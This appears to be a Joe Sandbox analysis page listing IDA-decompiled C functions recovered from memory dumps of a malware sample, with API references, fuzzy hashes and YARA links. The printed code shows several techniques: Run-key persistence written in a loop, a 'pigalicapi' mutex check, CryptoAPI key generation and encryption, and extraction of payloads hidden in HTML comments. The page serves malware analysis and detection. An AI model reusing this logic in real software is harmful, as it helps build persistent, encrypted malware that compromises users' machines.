Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: File$Virtual$AllocChangeCloseCreateFindFreeNotificationReadSizelstrlen
String ID:
API String ID: 443218420-0
Opcode ID: 071662be6b1e22e21ec0747122ec9fe5ab089f82a602849f769d97fd77600298
Instruction ID: 1c3b7df952a912c4f86c12ad70d9a091debb45511137cc5b62942badbf1a5776
Opcode Fuzzy Hash: 071662be6b1e22e21ec0747122ec9fe5ab089f82a602849f769d97fd77600298
Instruction Fuzzy Hash: 7021EC75A00208FBEB64DFA4DC49BAE77B5EB48705F108659F615BB2C0C778AA80CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04005B50 Relevance: 8.9, APIs: 7, Instructions: 124
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005B50(CHAR* _a4, char* _a8, intOrPtr* _a12, intOrPtr* _a16) {
				void* _v8;
				void* _v12;
				signed int _v16;
				long _v20;
				void* _v24;
				int _v28;
				int _v32;
				char* _v36;
				char* _v40;
				void* _v44;
				void* _t69;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0) {
					_v32 = lstrlenA(_a8);
					_v28 = lstrlenA(_a4);
					_v24 = 0;
					_v16 = 0;
					while(_v24 < _v28) {
						_v36 = StrStrIA( &(_a4[_v24]), _a8);
						if(_v36 != 0) {
							_v16 = _v16 + 1;
							_v24 = _v36 - _a4 + _v32;
							continue;
						}
						break;
					}
					_v20 = _v16 * 0x28;
					_t69 = VirtualAlloc(0, _v20, 0x3000, 4); // executed
					_v12 = _t69;
					if(_v12 != 0) {
						_v24 = 0;
						_v16 = 0;
						while(_v24 < _v28) {
							_v40 = StrStrIA( &(_a4[_v24]), _a8);
							if(_v40 != 0) {
								lstrcpynA(_v12 + _v16 * 0x28,  &(_a4[_v24]), _v40 -  &(_a4[_v24]) + 1);
								_v24 = _v40 - _a4 + _v32;
								_v16 = _v16 + 1;
								_v8 = _v8 + 1;
								 *_a12 = _v12;
								continue;
							}
							break;
						}
						if(_a16 != 0) {
							_v44 = VirtualAlloc(0, _v20, 0x3000, 4);
							if(_v44 != 0) {
								E04007B70(_v44, _v12, _v20);
								 *_a16 = _v44;
							}
						}
					}
				}
				return _v8;
			}

0x04005b56
0x04005b61
0x04005b85
0x04005b92
0x04005b95
0x04005b9c
0x04005ba3
0x04005bbc
0x04005bc3
0x04005bcb
0x04005bd7
0x00000000
0x04005bde
0x00000000
0x04005bc3
0x04005be6
0x04005bf6
0x04005bfc
0x04005c03
0x04005c09
0x04005c10
0x04005c17
0x04005c30
0x04005c37
0x04005c59
0x04005c68
0x04005c71
0x04005c7a
0x04005c87
0x00000000
0x04005c87
0x00000000
0x04005c37
0x04005c8f
0x04005ca4
0x04005cab
0x04005cb9
0x04005cc7
0x04005cc7
0x04005cab
0x04005c8f
0x04005c03
0x04005ccf

APIs

lstrlenA.KERNEL32(00000000), ref: 04005B7F
lstrlenA.KERNEL32(00000000), ref: 04005B8C
StrStrIA.SHLWAPI(00000000,00000000), ref: 04005BB6
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005BF6
StrStrIA.SHLWAPI(00000000,00000000), ref: 04005C2A
lstrcpynA.KERNEL32(00000000,00000000,-00000001), ref: 04005C59
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005C9E

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: AllocVirtuallstrlen$lstrcpyn
String ID:
API String ID: 808621155-0
Opcode ID: 87716a91232c7d4b55081c1f55d7f64912373dfad697bd4087df7a6950954879
Instruction ID: 5a59fe48962482dc997a37d5c0ed7d0013e253906576cb4b19edba68c8a08fb2
Opcode Fuzzy Hash: 87716a91232c7d4b55081c1f55d7f64912373dfad697bd4087df7a6950954879
Instruction Fuzzy Hash: D451C774904209EFEB04CF94C998BEEBBB5EF48305F148559E505B7284D379AA80CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 04006CF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04006CF0() {
				char _v5;
				void* _v12;
				void* _v16;
				int _v20;
				int _v24;
				long _v28;
				char _v60;
				long _t21;
				long _t24;
				char* _t26;
				char* _t30;
				char* _t32;

				_v5 = 0;
				_v12 = 0x80000001;
				if(( *0x401435a & 0x000000ff) != 0) {
					_v12 = 0x80000002;
				}
				_v16 = 0;
				_t32 =  *0x40118a0; // 0x4013b88
				_t21 = RegOpenKeyExA(_v12, _t32, 0, 0xf003f,  &_v16); // executed
				if(_t21 == 0) {
					_v24 = 0x20;
					_v20 = 3;
					_t30 =  *0x4011890; // 0x4013fa6
					_t24 = RegQueryValueExA(_v16, _t30, 0,  &_v20,  &_v60,  &_v24); // executed
					_v28 = _t24;
					if(_v28 == 0) {
						_v5 = 1;
						_t26 =  *0x4011890; // 0x4013fa6
						RegDeleteValueA(_v16, _t26);
					}
					RegCloseKey(_v16); // executed
				}
				return _v5;
			}

0x04006cf6
0x04006cfa
0x04006d0a
0x04006d0c
0x04006d0c
0x04006d13
0x04006d25
0x04006d30
0x04006d38
0x04006d3a
0x04006d41
0x04006d56
0x04006d61
0x04006d67
0x04006d6e
0x04006d70
0x04006d74
0x04006d7e
0x04006d7e
0x04006d88
0x04006d88
0x04006d94

APIs

RegOpenKeyExA.KERNEL32(80000001,04013B88,00000000,000F003F,00000000), ref: 04006D30
RegQueryValueExA.KERNEL32(00000000,04013FA6,00000000,00000003,?,00000020), ref: 04006D61
RegDeleteValueA.ADVAPI32(00000000,04013FA6), ref: 04006D7E
RegCloseKey.KERNEL32(00000000), ref: 04006D88

Strings

, xrefs: 04006D3A

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Value$CloseDeleteOpenQuery
String ID:
API String ID: 647993726-3916222277
Opcode ID: 7e3867fdce199c8a5bb6ff6aa161a31bc633291f878d7ee7a05f6acc28b5ac08
Instruction ID: 88112219bc8656018e8fd12fe99521312711d887651bf4d09d45951e100356d5
Opcode Fuzzy Hash: 7e3867fdce199c8a5bb6ff6aa161a31bc633291f878d7ee7a05f6acc28b5ac08
Instruction Fuzzy Hash: DE114275D04208AFEB04DFE0D848BBEBBB8FB48304F148158EA00BB280D77D5A45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04008370 Relevance: 7.7, APIs: 6, Instructions: 191
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04008370(intOrPtr _a4, long _a8, char _a12, intOrPtr _a16) {
				long _v8;
				void* _v12;
				void* _v16;
				long _v20;
				long _v24;
				intOrPtr _v28;
				void* _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				intOrPtr* _v56;
				long _v60;
				void* _t79;
				void* _t80;
				void* _t85;
				void* _t90;
				void* _t94;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0 || _a16 < _a8) {
					L17:
					return _v8;
				} else {
					_t79 = VirtualAlloc(0, 0x1000, 0x3000, 4); // executed
					_v16 = _t79;
					_t80 = VirtualAlloc(0, 0x1000, 0x3000, 4); // executed
					_v12 = _t80;
					if(_v16 != 0 && _v12 != 0) {
						_v24 = 0x1000;
						_v20 = 0x1000;
						_t85 = E04008800(_v16,  &_v24, _v12,  &_v20, 0x4013378, 0x94); // executed
						if(_t85 != 0) {
							_t21 = _a8 + 0x10; // 0x1010
							_v28 = _v20 + _t21;
							_t170 = _a16 - _v28;
							if(_a16 >= _v28) {
								_v40 = E04008770(_t170, 0xa);
								_v36 = E040087D0(0xffffffff);
								_t90 = VirtualAlloc(0, _a8, 0x3000, 4); // executed
								_v32 = _t90;
								if(_v32 != 0) {
									_v44 = _a8;
									E04007B70(_v32, _a4, _a8);
									_t94 = E04008970(_v32,  &_v44, _v16, _v24); // executed
									if(_t94 != 0) {
										_v48 = _a12;
										E040085D0( &_v48,  &_v40, 4);
										E040085D0( &_v48,  &_v36, 4);
										_v60 = 0;
										_v56 = _v48;
										E040085D0( &_v48,  &_v60, 4);
										_v52 = _v48;
										E040085D0( &_v48,  &_v20, 4);
										E040085D0( &_v48, _v12, _v20);
										E04008650(_v36, _v52, _v48 - _v52, _v36);
										E040085D0( &_v48, _v32, _v44);
										 *_v56 = E040016F0(_a12 + 0xc, _v48 - _a12 + 0xc);
										_v8 = _v48 - _a12;
									}
									VirtualFree(_v32, 0, 0x8000); // executed
								}
							}
						}
					}
					if(_v16 != 0) {
						VirtualFree(_v16, 0, 0x8000); // executed
					}
					if(_v12 != 0) {
						VirtualFree(_v12, 0, 0x8000); // executed
					}
					goto L17;
				}
			}

0x04008376
0x04008381
0x040085c0
0x040085c6
0x040083b1
0x040083bf
0x040083c5
0x040083d6
0x040083dc
0x040083e3
0x040083f3
0x040083fa
0x0400841b
0x04008425
0x04008431
0x04008435
0x0400843b
0x0400843e
0x0400844e
0x0400845b
0x0400846b
0x04008471
0x04008478
0x04008481
0x04008490
0x040084a8
0x040084b2
0x040084bb
0x040084c8
0x040084da
0x040084e2
0x040084ec
0x040084f9
0x04008504
0x04008511
0x04008525
0x0400853c
0x04008550
0x04008576
0x0400857e
0x0400857e
0x0400858c
0x0400858c
0x04008478
0x0400843e
0x04008425
0x04008596
0x040085a3
0x040085a3
0x040085ad
0x040085ba
0x040085ba
0x00000000
0x040085ad

APIs

VirtualAlloc.KERNEL32(00000000,00001000,00003000,00000004), ref: 040083BF
VirtualAlloc.KERNEL32(00000000,00001000,00003000,00000004), ref: 040083D6
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 0400846B

Part of subcall function 04008970: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 040089BF
Part of subcall function 04008970: GetLastError.KERNEL32 ref: 040089C9
Part of subcall function 04008970: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 040089F8
Part of subcall function 04008970: CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008A1F
Part of subcall function 04008970: CryptEncrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 04008A41
Part of subcall function 04008970: CryptDestroyKey.ADVAPI32(00000000), ref: 04008A4E
Part of subcall function 04008970: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008A5A

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0400858C
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 040085A3
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 040085BA

Part of subcall function 04008800: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000,04008420,00000000,00001000,00000000), ref: 0400883B
Part of subcall function 04008800: GetLastError.KERNEL32 ref: 04008845
Part of subcall function 04008800: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008874
Part of subcall function 04008800: CryptGenKey.ADVAPI32(00000000,00006801,?,00000000), ref: 040088AF
Part of subcall function 04008800: CryptExportKey.ADVAPI32(00000000,00000000,00000008,00000000,00000000,00000000), ref: 040088CF
Part of subcall function 04008800: CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,?), ref: 0400890C
Part of subcall function 04008800: CryptExportKey.ADVAPI32(00000000,?,00000001,00000000,00000000,00000000), ref: 0400892A
Part of subcall function 04008800: CryptDestroyKey.ADVAPI32(?), ref: 04008937

Part of subcall function 040087D0: QueryPerformanceCounter.KERNEL32(?), ref: 040087E7

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Crypt$Virtual$Context$Acquire$AllocFree$DestroyErrorExportImportLast$CounterEncryptPerformanceQueryRelease
String ID:
API String ID: 487564122-0
Opcode ID: cd64014fca8a1fd3dedaf543264f396e97ee9f29ef2d2d9375146d60c3b71fee
Instruction ID: 75e4ec9ffd75ad85335d37f2dbfda6536f989acb89096578b4a6032df118288e
Opcode Fuzzy Hash: cd64014fca8a1fd3dedaf543264f396e97ee9f29ef2d2d9375146d60c3b71fee
Instruction Fuzzy Hash: A0711CB6D00208ABEB14EFA4D845FEEB7B4BB48305F14C519EA15B72C0E774EA44CB65

Uniqueness

Uniqueness Score: -1.00%

Function 040012D0 Relevance: 7.6, APIs: 5, Instructions: 57
registrysleepstringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040012D0(CHAR* _a4) {
				CHAR* _v8;
				char* _v12;
				CHAR* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				long _t26;

				_v8 = _a4;
				if(_v8 != 0) {
					_v16 = _v8;
					_v12 = "software\\microsoft\\windows\\currentversion\\run";
					while( *0x4014370 == 0) {
						_v20 = 0x80000001;
						if(( *(_v8 + 0x30c) & 0x000000ff) != 0) {
							_v20 = 0x80000002;
						}
						_v24 = 0;
						_t26 = RegOpenKeyExA(_v20, _v12, 0, 0xf003f,  &_v24); // executed
						if(_t26 == 0) {
							_v28 = lstrlenA(_v16);
							RegSetValueExA(_v24, _v8 + 0x208, 0, 1, _v16, _v28); // executed
							RegCloseKey(_v24);
						}
						Sleep(0x1388); // executed
					}
				}
				return 0;
			}

0x040012d9
0x040012e0
0x040012e9
0x040012ec
0x040012f3
0x04001301
0x04001314
0x04001316
0x04001316
0x0400131d
0x04001337
0x0400133f
0x0400134b
0x04001368
0x04001372
0x04001372
0x0400137d
0x0400137d
0x040012fc
0x0400138d

APIs

RegOpenKeyExA.KERNEL32(80000001,0400C248,00000000,000F003F,00000000), ref: 04001337
lstrlenA.KERNEL32(?), ref: 04001345
RegSetValueExA.KERNEL32(00000000,-00000208,00000000,00000001,?,?), ref: 04001368
RegCloseKey.ADVAPI32(00000000), ref: 04001372
Sleep.KERNEL32(00001388), ref: 0400137D

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: CloseOpenSleepValuelstrlen
String ID:
API String ID: 3411147897-0
Opcode ID: 938b7cb6186ad2cb83b89a2b0749dbfdb9b9446470f7ced15d3d2a40044d04a4
Instruction ID: 889d750eda8961b126f00a9021e235014b30ece64fb5bfebafecfaf2f158f27d
Opcode Fuzzy Hash: 938b7cb6186ad2cb83b89a2b0749dbfdb9b9446470f7ced15d3d2a40044d04a4
Instruction Fuzzy Hash: 12210070A04309EBEB04CFE4C949BAEB7B4FB44301F108258E641BB280D779AE40DB91

Uniqueness

Uniqueness Score: -1.00%

Function 025521A0 Relevance: 6.2, APIs: 4, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000014), ref: 025521F9
SetLastError.KERNEL32(0000007E), ref: 0255223B

Memory Dump Source

Source File: 00000000.00000002.719923860.0000000002551000.00000020.00001000.00020000.00000000.sdmp, Offset: 02551000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2551000_fs7AQcREFX.jbxd

Similarity

API ID: ErrorHugeLastRead
String ID:
API String ID: 3239643929-0
Opcode ID: 6d7bad7c208f0ca752512d2f8437f6d4c9aec1adbe57a8f121f6a81433dec321
Instruction ID: 481c810c577883eaab47a56a44f13214b18a0eacc1452839144f54fb8e2839f9
Opcode Fuzzy Hash: 6d7bad7c208f0ca752512d2f8437f6d4c9aec1adbe57a8f121f6a81433dec321
Instruction Fuzzy Hash: FD81A774A00219EFDB04CF94C890AAEBBB1FF48314F258599ED09AB351D734EA85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04005E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005E00() {

				CreateMutexA(0, 0, "pigalicapi"); // executed
				return 0 | GetLastError() == 0x000000b7;
			}

0x04005e0c
0x04005e25

APIs

CreateMutexA.KERNEL32(00000000,00000000,pigalicapi,?,04003BEB), ref: 04005E0C
GetLastError.KERNEL32(?,04003BEB), ref: 04005E12

Strings

pigalicapi, xrefs: 04005E03

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID: pigalicapi
API String ID: 1925916568-2184165135
Opcode ID: ac3ade5f6374e6b3d28c260e8624ddfb09fc106c0a6a63d5b6af1bc4c66bd4e9
Instruction ID: c9a096dff23d34124f73a3e8575822b5ba186ec69b5811b6053c60030017a183
Opcode Fuzzy Hash: ac3ade5f6374e6b3d28c260e8624ddfb09fc106c0a6a63d5b6af1bc4c66bd4e9
Instruction Fuzzy Hash: FAC08C362883186BF2081B61ED4BB893A88C792E81F600030F30AEA0D0999968C08B16

Uniqueness

Uniqueness Score: -1.00%

Function 0252002D Relevance: 4.9, APIs: 3, Instructions: 392memoryCOMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,02520005), ref: 025200EB
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,?,?,02520005), ref: 02520113

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: AllocInfoNativeSystemVirtual
String ID:
API String ID: 2032221330-0
Opcode ID: 473b58f7a167e2a1e580efbb33301050c8c34e0b7915a5bdb1048dcc05cabd4f
Instruction ID: c886933a93d40633ccbcb4e06460fbd98ef568426ebceb97f756b1d6f12805f7
Opcode Fuzzy Hash: 473b58f7a167e2a1e580efbb33301050c8c34e0b7915a5bdb1048dcc05cabd4f
Instruction Fuzzy Hash: 86E1C571A063268FD714CF59C84073ABBE1FFA6318F04452DE8959B2C1E774E849CB95

Uniqueness

Uniqueness Score: -1.00%

Function 04008250 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04008250(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v13;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char* _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				char _t48;
				intOrPtr _t51;
				intOrPtr _t58;
				char _t63;
				void* _t77;
				void* _t78;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0 && _a16 != 0) {
					_v12 = 0;
					_v20 = _a4;
					_v13 = 0;
					while(_v12 < _a8 - 0xa && (_v13 & 0x000000ff) == 0) {
						_t48 = "<!--"; // 0x2d2d213c
						_v32 = _t48;
						_t63 =  *0x400c700; // 0x0
						_v28 = _t63;
						_t51 = E04007AF0(_v20 + _v12, _a8 - _v12,  &_v32, 4);
						_t78 = _t77 + 0x10;
						_v24 = _t51;
						if(_v24 == 0) {
						} else {
							_v12 = _v24 - _a4;
							_t28 = _v12 + 4; // 0x4
							_v36 = StrStrA(_v20 + _t28, "-->");
							if(_v36 != 0) {
								_v44 = _v36 - _v24 - 4;
								_t58 = E04008090(_v24 + 4, _v44, _a12, _a16); // executed
								_t77 = _t78 + 0x10;
								_v40 = _t58;
								if(_v40 > 0) {
									_v13 = 1;
									_v8 = _v40;
								}
								_v12 = _v12 + 4;
								continue;
							}
						}
						goto L16;
					}
				}
				L16:
				return _v8;
			}

0x04008256
0x04008261
0x04008285
0x0400828f
0x04008292
0x04008296
0x040082b1
0x040082b6
0x040082b9
0x040082bf
0x040082d6
0x040082db
0x040082de
0x040082e5
0x040082e7
0x040082ed
0x040082fb
0x04008306
0x0400830d
0x04008318
0x0400832e
0x04008333
0x04008336
0x0400833d
0x0400833f
0x04008346
0x04008346
0x0400834f
0x00000000
0x0400835a
0x0400830d
0x00000000
0x040082e5
0x04008296
0x0400835f
0x04008365

APIs

StrStrA.SHLWAPI(00000004,-->), ref: 04008300

Part of subcall function 04008090: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 040080D8

Strings

<!--, xrefs: 040082B1
-->, xrefs: 040082F0

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: AllocVirtual
String ID: -->$<!--
API String ID: 4275171209-1166897919
Opcode ID: 20dc3e6302552aac322e9474528943c8a2bb7ec5e025690798da4dc1e387ebc2
Instruction ID: 33a7bc7995a4c535701f75233fb1c46eed47e0fb0959c3fa2371b97aa1c284c8
Opcode Fuzzy Hash: 20dc3e6302552aac322e9474528943c8a2bb7ec5e025690798da4dc1e387ebc2
Instruction Fuzzy Hash: 23311971900249DFEF04EFA8C544BEEBBB1BB88308F14C959D505B7281E774AA84CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0400A400 Relevance: 4.6, APIs: 3, Instructions: 53
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0400A400(char* _a4, char* _a8, char* _a12, int _a16) {
				int _v8;
				void* _v12;
				void* _v16;
				int _v20;
				long _t25;
				long _t27;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0 && _a16 != 0) {
					_v12 = 0x80000001;
					if(( *0x401435a & 0x000000ff) != 0) {
						_v12 = 0x80000002;
					}
					_v16 = 0;
					_t25 = RegOpenKeyExA(_v12, _a4, 0, 0xf003f,  &_v16); // executed
					if(_t25 == 0) {
						_v20 = _a16;
						_t27 = RegQueryValueExA(_v16, _a8, 0, 0, _a12,  &_v20); // executed
						if(_t27 == 0) {
							_v8 = _v20;
						}
						RegCloseKey(_v16); // executed
					}
				}
				return _v8;
			}

0x0400a406
0x0400a411
0x0400a429
0x0400a439
0x0400a43b
0x0400a43b
0x0400a442
0x0400a45c
0x0400a464
0x0400a469
0x0400a480
0x0400a488
0x0400a48d
0x0400a48d
0x0400a494
0x0400a494
0x0400a464
0x0400a4a0

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,00000000), ref: 0400A45C
RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0400A480
RegCloseKey.KERNEL32(00000000), ref: 0400A494

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 26c5e8be6951219e5415309ce84e58fa5b755f2e54e0236dd9c9ae8c1af765fa
Instruction ID: 715db8aa4ed00a9f1925e7802d1785fb3623660146ed6b0049a8ef53f9c2d8f0
Opcode Fuzzy Hash: 26c5e8be6951219e5415309ce84e58fa5b755f2e54e0236dd9c9ae8c1af765fa
Instruction Fuzzy Hash: 70110D74A00309EBEB15CF94C848BEF77B8FB84744F14C558E914AB680D7B8AA51CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04008090 Relevance: 3.9, APIs: 3, Instructions: 147
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04008090(intOrPtr _a4, long _a8, void** _a12, intOrPtr* _a16) {
				long _v8;
				void* _v12;
				long _v16;
				intOrPtr _v20;
				intOrPtr* _v24;
				intOrPtr _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				int _v48;
				long _v52;
				void* _t71;
				intOrPtr _t73;
				void* _t91;
				void* _t93;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L13:
					return _v8;
				} else {
					_v16 = _a8;
					_t71 = VirtualAlloc(0, _v16, 0x3000, 4); // executed
					_v12 = _t71;
					if(_v12 != 0) {
						_t73 = E04001390(_v12, _a4, _v16, _v12, _v16); // executed
						_v20 = _t73;
						if(_v20 != 0) {
							_v24 = _v12;
							_v28 = _v20;
							_v32 = E040087B0(_v20,  *_v24) & 0x0000ffff;
							if(_v32 == 0xa) {
								_v40 =  *((intOrPtr*)(_v24 + 4));
								_v44 =  *((intOrPtr*)(_v24 + 8));
								_v36 = E040016F0(_v24 + 0xc, _v28 - 0xc);
								if(_v36 == _v44) {
									E04008630(_v24 + 0xc, 4, _v40);
									_v48 =  *((intOrPtr*)(_v24 + 0xc));
									E04008630(_v24 + 0x10, _v48, _v40);
									_v52 = _v28 - _v48 + 0x10;
									_t52 = _v48 + 0x10; // 0x10
									_t91 = E04008A70(_v24 + _t52,  &_v52, _v24 + 0x10, _v48, 0x4013410, 0x254); // executed
									if(_t91 != 0) {
										_t93 = VirtualAlloc(0, _v52, 0x3000, 4); // executed
										 *_a12 = _t93;
										if( *_a12 != 0) {
											_t60 = _v48 + 0x10; // 0x10
											E04007B70( *_a12, _v24 + _t60, _v52);
											 *_a16 = _v52;
											_v8 = _v52;
										}
									}
								}
							}
						}
						if(_v8 == 0) {
							VirtualFree(_v12, 0, 0x8000); // executed
						}
					}
					goto L13;
				}
			}

0x04008096
0x040080a1
0x04008246
0x0400824c
0x040080c5
0x040080c8
0x040080d8
0x040080de
0x040080e5
0x040080fb
0x04008103
0x0400810a
0x04008113
0x04008119
0x0400812d
0x04008134
0x04008140
0x04008149
0x04008162
0x0400816b
0x0400817e
0x0400818c
0x0400819e
0x040081b1
0x040081d3
0x040081d8
0x040081e2
0x040081f1
0x040081fa
0x04008202
0x0400820e
0x04008219
0x04008227
0x0400822c
0x0400822c
0x04008202
0x040081e2
0x0400816b
0x04008134
0x04008233
0x04008240
0x04008240
0x04008233
0x00000000
0x040080e5

APIs

VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 040080D8
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04008240

Part of subcall function 04008A70: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008AD3
Part of subcall function 04008A70: GetLastError.KERNEL32 ref: 04008ADD
Part of subcall function 04008A70: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008B0C
